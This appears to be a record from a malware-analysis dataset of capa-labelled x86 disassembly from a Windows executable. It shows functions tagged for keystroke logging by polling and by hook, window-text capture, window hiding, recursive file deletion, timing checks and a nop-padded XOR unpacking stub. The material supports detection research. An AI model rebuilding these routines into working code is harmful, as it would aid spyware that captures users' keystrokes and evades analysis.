joyce8/EMBER2024-capa huggingface dataset:
Function at 0x4883f0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push esi
push edi
mov esi, ecx
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov dword [ebp - 4], edx
mov edi, eax
mov eax, dword [ebp - 4]
call fcn.00405834
xor eax, eax
push ebp
push 0x488466
push dword fs:[eax]
mov dword fs:[eax], esp
mov edx, dword [ebp - 4]
mov eax, edi
call fcn.00488360
mov dword [ebp - 8], 0xc
lea esi, [ebp - 0x14]
mov eax, edi
call fcn.00488318
mov ebx, eax
xor bl, byte [esi]
mov edx, ebx
mov eax, edi
call fcn.004882c0
mov byte [esi], bl
inc esi
dec dword [ebp - 8]
jne 0x488430
movzx ebx, byte [ebp - 9]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x48846d
lea eax, [ebp - 4]
call fcn.004053b4
ret
Function at 0x489100
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 0x54], ebx
mov dword [ebp - 8], ecx
mov ebx, edx
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x4892e6
push dword fs:[eax]
mov dword fs:[eax], esp
cmp ebx, 0xffffffff
jle 0x4892a2
mov eax, dword [ebp - 4]
call fcn.0048aaa8
cmp ebx, eax
jge 0x4892a2
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x118]
mov edx, ebx
call fcn.0047f8a4
mov edx, dword [0x481260]
call fcn.00404664
mov esi, eax
mov eax, esi
call fcn.00482124
test al, al
je 0x489298
mov dword [ebp - 0x18], 0
mov dword [ebp - 0x14], 0
mov edi, dword [esi + 0x44]
test edi, edi
jne 0x48928c
xor eax, eax
push ebp
push 0x489285
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004896b8
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
call fcn.0041d398
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], edx
push dword [esi + 0x34]
push dword [esi + 0x30]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0x18]
lea edx, [ebp - 0x46]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
mov ecx, 0x2e
mov esi, dword [eax]
call dword [esi + 0xc]
movzx eax, word [ebp - 0x2a]
movzx edx, word [ebp - 0x28]
add eax, edx
xor edx, edx
push edx
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
mov dl, 1
mov ecx, dword [eax]
call dword [ecx + 0x18]
movzx esi, word [ebp - 0x26]
mov eax, dword [ebp - 8]
mov edx, esi
call fcn.00405ad4
mov eax, dword [ebp - 8]
call fcn.004058a4
mov edx, eax
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
mov ecx, esi
mov esi, dword [eax]
call dword [esi + 0xc]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x158]
movzx eax, byte [eax + 0x28]
mov byte [ebp - 9], al
mov ecx, dword [ebp - 8]
mov ecx, dword [ecx]
mov edx, ebx
mov eax, dword [ebp - 4]
call fcn.0048947c
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x158]
movzx edx, byte [ebp - 9]
mov byte [eax + 0x28], dl
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4892d0
push dword [ebp - 0x14]
push dword [ebp - 0x18]
mov eax, dword [ebp - 4]
mov eax, dword [eax + 0x130]
xor edx, edx
mov ecx, dword [eax]
call dword [ecx + 0x18]
mov eax, dword [ebp - 4]
mov edx, dword [eax]
call dword [edx + 0x3c]
test al, al
jne 0x489284
mov eax, dword [ebp - 4]
call fcn.0048973c
ret
mov edx, dword [ebp - 8]
mov eax, edi
call fcn.0040aecc
jmp 0x4892d0
mov eax, dword [ebp - 8]
call fcn.004053b4
jmp 0x4892d0
mov dword [ebp - 0x50], ebx
mov byte [ebp - 0x4c], 0
lea eax, [ebp - 0x50]
push eax
push 0
lea edx, [ebp - 0x54]
mov eax, 0xb3
call fcn.0040a304
mov ecx, dword [ebp - 0x54]
mov dl, 1
mov eax, dword [0x4185b8]
call fcn.0040de5c
call fcn.00404d28
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4892ed
lea eax, [ebp - 0x54]
call fcn.004053b4
ret
Function at 0x4945a4
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x49465e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405bbc
mov eax, dword [0x4c63c0]
cmp byte [eax], 0
je 0x494613
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405f20
mov eax, dword [ebx]
call fcn.00405d4c
push eax
mov eax, dword [ebx]
call fcn.00405d3c
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405d4c
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405f20
jmp 0x494645
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.0040aecc
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405d2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x494665
lea eax, [ebp - 0x3f0]
call fcn.004053b4
ret

Function at 0x49466c
Capabilities:
Get graphical window text

Disassembly:
push ebx
add esp, 0xfffffc14
mov ebx, edx
mov edx, esp
push edx
push 0x3e8
push 0xd
push eax
call sub.user32.dll_SendMessageA
mov edx, ebx
mov eax, esp
call fcn.0040aecc
add esp, 0x3ec
pop ebx
ret

Function at 0x49482c
Capabilities:
Log keystrokes via polling

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffff00
mov esi, edx
mov ebp, eax
mov edx, esi
mov eax, dword [ebp + 0x3c]
call dword [ebp + 0x38]
cmp dword [esi + 0xc], 0
jne 0x4948f4
push esp
call sub.user32.dll_GetKeyboardState
mov eax, esp
call fcn.004662c0
mov ebx, eax
movzx edx, word [esi + 4]
mov eax, ebp
call fcn.004944e8
mov edi, eax
test edi, edi
je 0x49488d
movzx eax, byte [0x494900]
cmp al, bl
jne 0x49488d
mov edx, edi
mov eax, ebp
call fcn.00494420
mov dword [esi + 0xc], 1
mov byte [ebp + 0x31], 1
jmp 0x4948f4
cmp byte [ebp + 0x161], 2
jne 0x4948b8
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x4c67b8]
mov eax, dword [eax]
mov eax, dword [eax + 0x44]
mov edx, 0xb006
call fcn.004543f4
test eax, eax
jne 0x4948f4
jmp 0x4948ef
mov edx, dword [0x4c6684]
mov edx, dword [edx]
mov edx, dword [edx + 0x44]
mov eax, dword [ebp + 0x128]
cmp edx, eax
je 0x4948ef
test byte [eax + 0x358], 8
jne 0x4948ef
mov eax, dword [esi + 8]
push eax
movzx ecx, word [esi + 4]
mov eax, dword [0x4c6684]
mov eax, edx
mov edx, 0xb006
call fcn.004543f4
xor eax, eax
mov dword [esi + 0xc], eax
add esp, 0x100
pop ebp
pop edi
pop esi
pop ebx
ret
Function at 0x49ac14
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebx
push esi
push edi
add esp, 0xfffffff8
mov esi, edx
lea edi, [esp]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov ebx, eax
mov eax, dword [0x4c67b8]
mov eax, dword [eax]
cmp dword [eax + 0x58], 0
jne 0x49acba
call sub.kernel32.dll_GetTickCount
sub eax, dword [ebx + 0x80]
xor edx, edx
push edx
push eax
mov eax, dword [ebx + 0x84]
cdq
cmp edx, dword [esp + 4]
jne 0x49ac59
cmp eax, dword [esp]
pop edx
pop eax
jae 0x49ac95
jmp 0x49ac5d
pop edx
pop eax
jge 0x49ac95
mov eax, dword [0x4c67b8]
mov eax, dword [eax]
mov dword [eax + 0x38], 2
call sub.kernel32.dll_GetTickCount
mov dword [ebx + 0x80], eax
mov eax, ebx
call fcn.00495630
mov eax, dword [ebx + 0xf4]
test eax, eax
je 0x49acba
mov ecx, dword [esp + 4]
mov edx, dword [esp]
mov ebx, dword [eax]
call dword [ebx + 0x40]
jmp 0x49acba
cmp dword [ebx + 0x11c], 0
je 0x49acba
xor edx, edx
mov eax, dword [ebx + 0x58]
call fcn.0043e2ac
push 0
push 0
push 0x10
mov eax, dword [ebx + 0x12c]
push eax
call sub.user32.dll_PostMessageA
pop ecx
pop edx
pop edi
pop esi
pop ebx
ret

Function at 0x4a1b74
Capabilities:
Get graphical window text

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffc10
push ebx
push esi
xor ecx, ecx
mov dword [ebp - 0x3f0], ecx
mov ebx, edx
mov esi, eax
xor eax, eax
push ebp
push 0x4a1c2e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, ebx
call fcn.00405bbc
mov eax, dword [0x4c63c0]
cmp byte [eax], 0
je 0x4a1be3
push esi
call sub.user32.dll_GetWindowTextLengthW
mov edx, eax
inc edx
mov eax, ebx
call fcn.00405f20
mov eax, dword [ebx]
call fcn.00405d4c
push eax
mov eax, dword [ebx]
call fcn.00405d3c
push eax
push esi
call sub.user32.dll_GetWindowTextW
mov eax, dword [ebx]
call fcn.00405d4c
mov edx, eax
dec edx
mov eax, ebx
call fcn.00405f20
jmp 0x4a1c15
lea eax, [ebp - 0x3e9]
push eax
push 0x3e8
push 0xd
push esi
call sub.user32.dll_SendMessageA
lea edx, [ebp - 0x3f0]
lea eax, [ebp - 0x3e9]
call fcn.0040aecc
mov edx, dword [ebp - 0x3f0]
mov eax, ebx
call fcn.00405d2c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a1c35
lea eax, [ebp - 0x3f0]
call fcn.004053b4
ret

Function at 0x4a4d9c
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x4a4df6
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [esi + 0x310], ecx
mov dword [esi + 0x314], edx
mov eax, dword [edx + 0x4c]
mov dword [esi + 0x304], eax
mov eax, dword [eax + 0x44]
mov dword [esi + 0xc], eax
mov edx, dword [esi + 0x310]
mov eax, esi
call fcn.004a4e00
mov eax, dword [esi + 0x310]
mov edx, dword [eax + 0x30]
mov eax, esi
mov ecx, dword [eax]
call dword [ecx + 0x6c]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4a4dfd
ret

Function at 0x4adf60
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
push 0
mov eax, ebx
call fcn.0045b17c
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x2c1], 0
xor edx, edx
mov eax, ebx
call fcn.00453024
pop ebx
ret
Function at 0x4b85d8
Capabilities:
Hide graphical window

Disassembly:
push ebx
mov ebx, eax
cmp byte [ebx + 0x98], 0
je 0x4b85fe
push 0
mov eax, dword [ebx + 0x94]
call fcn.0045b17c
push eax
call sub.user32.dll_ShowWindow
mov byte [ebx + 0x98], 0
pop ebx
ret

Function at 0x4b86b8
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
xor edx, edx
mov dword [ebp - 4], edx
mov dword [ebp - 8], edx
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4b882a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov byte [eax + 0xa4], 1
mov eax, dword [ebp - 0xc]
test byte [eax + 0x1c], 0x10
jne 0x4b880f
lea eax, [ebp - 0x10d]
push eax
push pe_nt_image_headers32
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 4]
lea eax, [ebp - 0x10d]
call fcn.0040aecc
mov dl, 1
mov eax, dword [0x48e780]
call fcn.0048e7d8
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x9c], eax
mov dl, 1
mov eax, dword [0x419094]
call fcn.00404484
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x3c], eax
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0xa0]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
call fcn.0048e854
mov byte [ebp - 0xd], al
cmp byte [ebp - 0xd], 0
je 0x4b880b
mov dl, 1
mov eax, dword [0x48fcec]
call fcn.0048fd54
mov edx, dword [ebp - 0xc]
mov dword [edx + 0x34], eax
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
mov ecx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
mov edx, 0x4b8840
call fcn.0048efc8
lea eax, [ebp - 8]
mov ecx, dword [ebp - 8]
mov edx, dword [ebp - 4]
call fcn.004056cc
xor eax, eax
push ebp
push 0x4b8804
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
xor ecx, ecx
xor edx, edx
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 0xc]
mov edx, dword [eax + 0x3c]
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
call fcn.0049005c
mov edx, dword [ebp - 8]
mov eax, dword [ebp - 0xc]
call fcn.004b8848
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b880b
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x9c]
call fcn.004044b4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x3c]
call fcn.004044b4
mov eax, dword [ebp - 0xc]
mov eax, dword [eax + 0x34]
call fcn.004044b4
ret
movzx ebx, byte [ebp - 0xd]
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4b8831
lea eax, [ebp - 8]
mov edx, 2
call fcn.004053d8
ret

Function at 0x4ba114
Capabilities:
Hash data with md5

Disassembly:
mov dword [eax], 0x67452301
mov dword [eax + 4], 0xefcdab89
mov dword [eax + 8], 0x98badcfe
mov dword [eax + 0xc], 0x10325476
xor edx, edx
mov dword [eax + 0x10], edx
xor edx, edx
mov dword [eax + 0x14], edx
add eax, 0x18
xor ecx, ecx
mov edx, 0x40
call fcn.00403aa8
ret
Function at 0x4ba5d8
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbe8
push ebx
xor edx, edx
mov dword [ebp - 0x418], edx
mov dword [ebp - 0x414], edx
mov dword [ebp - 0x410], edx
mov dword [ebp - 0x40c], edx
mov dword [ebp - 0x408], edx
mov dword [ebp - 0x3f0], edx
mov dword [ebp - 0x3f4], edx
mov dword [ebp - 0x3f8], eax
xor eax, eax
push ebp
push 0x4ba84f
push dword fs:[eax]
mov dword fs:[eax], esp
lea edx, [ebp - 0x3f4]
mov eax, 0x4ba864
call fcn.004ba440
lea eax, [ebp - 0x3f0]
call fcn.004053b4
lea eax, [ebp - 0x3fc]
push eax
push 0x20019
push 0
mov eax, dword [ebp - 0x3f4]
call fcn.00405844
push eax
push 0x80000002
call sub.advapi32.dll_RegOpenKeyExA_1
test eax, eax
jne 0x4ba810
xor eax, eax
push ebp
push 0x4ba809
push dword fs:[eax]
mov dword fs:[eax], esp
mov ebx, 0x3e9
mov dword [ebp - 0x404], ebx
mov dword [ebp - 0x400], 7
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x3e9]
push eax
lea eax, [ebp - 0x400]
push eax
push 0
lea edx, [ebp - 0x408]
mov eax, 0x4ba8a4
call fcn.004ba440
mov eax, dword [ebp - 0x408]
call fcn.00405844
push eax
mov eax, dword [ebp - 0x3fc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4ba6db
push ebp
mov eax, 0x4ba8d0
call fcn.004ba530
pop ecx
mov dword [ebp - 0x404], ebx
mov dword [ebp - 0x400], 1
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x3e9]
push eax
lea eax, [ebp - 0x400]
push eax
push 0
lea edx, [ebp - 0x40c]
mov eax, 0x4ba8dc
call fcn.004ba440
mov eax, dword [ebp - 0x40c]
call fcn.00405844
push eax
mov eax, dword [ebp - 0x3fc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4ba765
push dword [ebp - 0x3f0]
push 0x4ba904
lea eax, [ebp - 0x410]
lea edx, [ebp - 0x3e9]
mov ecx, 0x3e9
call fcn.00405624
push dword [ebp - 0x410]
lea eax, [ebp - 0x3f0]
mov edx, 3
call fcn.00405748
mov dword [ebp - 0x404], ebx
mov dword [ebp - 0x400], 1
lea eax, [ebp - 0x404]
push eax
lea eax, [ebp - 0x3e9]
push eax
lea eax, [ebp - 0x400]
push eax
push 0
lea edx, [ebp - 0x414]
mov eax, 0x4ba910
call fcn.004ba440
mov eax, dword [ebp - 0x414]
call fcn.00405844
push eax
mov eax, dword [ebp - 0x3fc]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
jne 0x4ba7ef
push dword [ebp - 0x3f0]
push 0x4ba904
lea eax, [ebp - 0x418]
lea edx, [ebp - 0x3e9]
mov ecx, 0x3e9
call fcn.00405624
push dword [ebp - 0x418]
lea eax, [ebp - 0x3f0]
mov edx, 3
call fcn.00405748
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ba810
mov eax, dword [ebp - 0x3fc]
push eax
call sub.advapi32.dll_RegCloseKey_1
ret
mov eax, dword [ebp - 0x3f8]
mov edx, dword [ebp - 0x3f0]
call fcn.00405408
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4ba856
lea eax, [ebp - 0x418]
mov edx, 5
call fcn.004053d8
lea eax, [ebp - 0x3f4]
mov edx, 2
call fcn.004053d8
ret
Function at 0x4bd178
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe28
push ebx
push esi
push edi
xor edx, edx
mov dword [ebp - 0x1d4], edx
mov dword [ebp - 0x1d8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405834
xor eax, eax
push ebp
push 0x4bd2b9
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4bd289
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, dword [ebp - 4]
call fcn.00405844
mov ebx, eax
push ebx
call sub.kernel32.dll_DeleteFileA
push ebx
call sub.kernel32.dll_DeleteFileA
mov eax, dword [ebp - 4]
call fcn.0040a528
test al, al
jne 0x4bd1f9
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
push ebx
call sub.kernel32.dll_CreateFileA_1
push eax
call sub.kernel32.dll_CloseHandle_1
mov edx, dword [ebp - 4]
lea eax, [ebp - 0x1d0]
call fcn.00403804
lea eax, [ebp - 0x1d0]
call fcn.004035a0
call fcn.00403080
push dword [0x4cbed0]
push 0x4bd2d0
push dword [0x4cbed4]
push 0x4bd2d0
push dword [0x4cbed8]
lea eax, [ebp - 0x1d8]
mov edx, 5
call fcn.00405748
mov eax, dword [ebp - 0x1d8]
lea edx, [ebp - 0x1d4]
call fcn.004be744
mov edx, dword [ebp - 0x1d4]
lea eax, [ebp - 0x1d0]
call fcn.00405b64
call fcn.00403efc
call fcn.00403080
lea eax, [ebp - 0x1d0]
call fcn.004038cc
call fcn.00403080
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4bd293
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bd2c0
lea eax, [ebp - 0x1d8]
mov edx, 2
call fcn.004053d8
lea eax, [ebp - 4]
call fcn.004053b4
ret
Function at 0x4bd3b8
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push esi
push edi
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405834
mov eax, dword [ebp - 8]
call fcn.00405834
xor eax, eax
push ebp
push 0x4bd563
push dword fs:[eax]
mov dword fs:[eax], esp
xor edx, edx
push ebp
push 0x4bd533
push dword fs:[edx]
mov dword fs:[edx], esp
push 0x40
mov ecx, dword [ebp - 4]
mov dl, 1
mov eax, dword [0x418f90]
call fcn.0041d84c
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x4bd439
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 8]
call fcn.0040a528
test al, al
je 0x4bd42f
mov eax, dword [ebp - 8]
call fcn.00405844
push eax
call sub.kernel32.dll_DeleteFileA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x4bd443
push 0
push 0x80
push 2
push 0
push 0
push 0xc0000000
mov eax, dword [ebp - 8]
call fcn.00405844
push eax
call sub.kernel32.dll_CreateFileA_1
push eax
call sub.kernel32.dll_CloseHandle_1
push 1
mov ecx, dword [ebp - 8]
mov dl, 1
mov eax, dword [0x418f90]
call fcn.0041d84c
mov dword [ebp - 0x10], eax
xor eax, eax
push ebp
push 0x4bd522
push dword fs:[eax]
mov dword fs:[eax], esp
mov cx, 2
mov edx, 0xfffffffc
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x14]
lea edx, [ebp - 0x14]
mov ecx, 4
mov eax, dword [ebp - 0xc]
call fcn.0041d5c4
mov edx, dword [ebp - 0x14]
add edx, 8
neg edx
mov cx, 2
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x14]
lea edx, [ebp - 0x18]
mov ecx, 4
mov eax, dword [ebp - 0xc]
call fcn.0041d5c4
mov edx, dword [ebp - 0x14]
add edx, 8
add edx, dword [ebp - 0x18]
neg edx
mov cx, 2
mov eax, dword [ebp - 0xc]
mov ebx, dword [eax]
call dword [ebx + 0x14]
xor ecx, ecx
xor edx, edx
mov eax, dword [ebp - 0x10]
mov ebx, dword [eax]
call dword [ebx + 0x14]
mov eax, dword [ebp - 0x18]
cdq
push edx
push eax
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x10]
call fcn.0041d634
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bd529
mov eax, dword [ebp - 0x10]
call fcn.004044b4
mov eax, dword [ebp - 0xc]
call fcn.004044b4
ret

Function at 0x4bdf74
Capabilities:
Log keystrokes via application hook

Disassembly:
xor eax, eax
mov dword [0x4cbf88], eax
push 0x4bdfb4
call sub.user32.dll_RegisterWindowMessageA
mov dword [0x4cbf88], eax
mov eax, dword [0x4c6684]
mov eax, dword [eax]
mov eax, dword [eax + 0x30]
mov dword [0x4cbf8c], eax
push 0
mov eax, dword [0x4c97f8]
push eax
push 0x4bdf10
push 0xd
call sub.user32.dll_SetWindowsHookExA
mov dword [0x4cbf90], eax
ret
Function at 0x4be8ec
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef4
push ebx
xor edx, edx
mov dword [ebp - 0x10c], edx
mov dword [ebp - 0x108], edx
mov dword [ebp - 4], edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4be9bd
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x104]
push eax
push 0xff
call sub.kernel32.dll_GetTempPathA
lea edx, [ebp - 4]
lea eax, [ebp - 0x104]
call fcn.0040aecc
lea ecx, [ebp - 0x108]
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0043b044
mov eax, dword [ebp - 0x108]
mov edx, 0x4be9d4
call fcn.004057dc
je 0x4be98d
lea ecx, [ebp - 0x10c]
mov edx, 1
mov eax, dword [ebp - 4]
call fcn.0043b044
mov eax, dword [ebp - 0x10c]
mov edx, 0x4be9e0
call fcn.004057dc
je 0x4be98d
lea eax, [ebp - 4]
mov edx, 0x4be9e0
call fcn.00405680
mov eax, ebx
mov edx, dword [ebp - 4]
call fcn.00405408
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4be9c4
lea eax, [ebp - 0x10c]
mov edx, 2
call fcn.004053d8
lea eax, [ebp - 4]
call fcn.004053b4
ret
Function at 0x4beba4
Capabilities:
Delete file
Enumerate files on windows
Enumerate files recursively

Disassembly:
push ebp
mov ebp, esp
mov ecx, 0x5c
push 0
push 0
dec ecx
jne 0x4bebac
push ecx
push ebx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00405834
lea eax, [ebp - 0x168]
mov edx, dword [0x408a8c]
call fcn.00405f84
xor eax, eax
push ebp
push 0x4beda8
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 4]
mov edx, 0x4bedbc
call fcn.00405680
lea eax, [ebp - 0x2a8]
push eax
lea eax, [ebp - 0x2ac]
mov ecx, 0x4bedc8
mov edx, dword [ebp - 4]
call fcn.004056cc
mov eax, dword [ebp - 0x2ac]
call fcn.00405844
push eax
call sub.kernel32.dll_FindFirstFileA_1
mov ebx, eax
lea eax, [ebp - 0x2bc]
mov edx, ebx
mov cl, 4
call fcn.004159a0
lea eax, [ebp - 0x2bc]
push eax
lea eax, [ebp - 0x2cc]
call fcn.00416f9c
lea edx, [ebp - 0x2cc]
pop eax
call fcn.00416fa4
je 0x4bed37
jmp 0x4bed1c
mov eax, dword [ebp - 0x2a8]
sub eax, 0x10
jne 0x4bece1
lea edx, [ebp - 0x2d0]
lea eax, [ebp - 0x27c]
call fcn.0040aecc
mov eax, dword [ebp - 0x2d0]
mov edx, 0x4bedd4
call fcn.004057dc
je 0x4bed1c
lea edx, [ebp - 0x2d4]
lea eax, [ebp - 0x27c]
call fcn.0040aecc
mov eax, dword [ebp - 0x2d4]
mov edx, 0x4bede0
call fcn.004057dc
je 0x4bed1c
lea eax, [ebp - 0x2dc]
lea edx, [ebp - 0x27c]
mov ecx, 0x104
call fcn.00405624
mov ecx, dword [ebp - 0x2dc]
lea eax, [ebp - 0x2d8]
mov edx, dword [ebp - 4]
call fcn.004056cc
mov eax, dword [ebp - 0x2d8]
call fcn.004beba4
jmp 0x4bed1c
lea eax, [ebp - 0x2e4]
lea edx, [ebp - 0x27c]
mov ecx, 0x104
call fcn.00405624
mov ecx, dword [ebp - 0x2e4]
lea eax, [ebp - 0x2e0]
mov edx, dword [ebp - 4]
call fcn.004056cc
mov eax, dword [ebp - 0x2e0]
call fcn.00405844
push eax
call sub.kernel32.dll_DeleteFileA
lea eax, [ebp - 0x2a8]
push eax
push ebx
call sub.kernel32.dll_FindNextFileA
cmp eax, 1
sbb eax, eax
inc eax
test al, al
jne 0x4bec51
mov dword [ebp - 0x14c], ebx
lea eax, [ebp - 0x168]
call fcn.0040a844
mov eax, dword [ebp - 4]
call fcn.0040ac74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4bedaf
lea eax, [ebp - 0x2e4]
mov edx, 6
call fcn.004053d8
lea eax, [ebp - 0x2cc]
mov edx, dword [0x4010bc]
mov ecx, 2
call fcn.004060a0
lea eax, [ebp - 0x2ac]
call fcn.004053b4
lea eax, [ebp - 0x168]
mov edx, dword [0x408a8c]
call fcn.00406054
lea eax, [ebp - 4]
call fcn.004053b4
ret
Function at 0x42e000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..rdata
mov ebx, 0x407ef8
nop
mov ecx, 0x7c4c6e4d
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
nop
mov eax, section._RDATA
nop
nop
mov ebx, 0x42cd70
nop
mov ecx, 0x7fd56809
nop
nop
nop
test eax, eax
nop
nop
nop
je 0x42e084
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x42e06c
nop
nop
nop
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219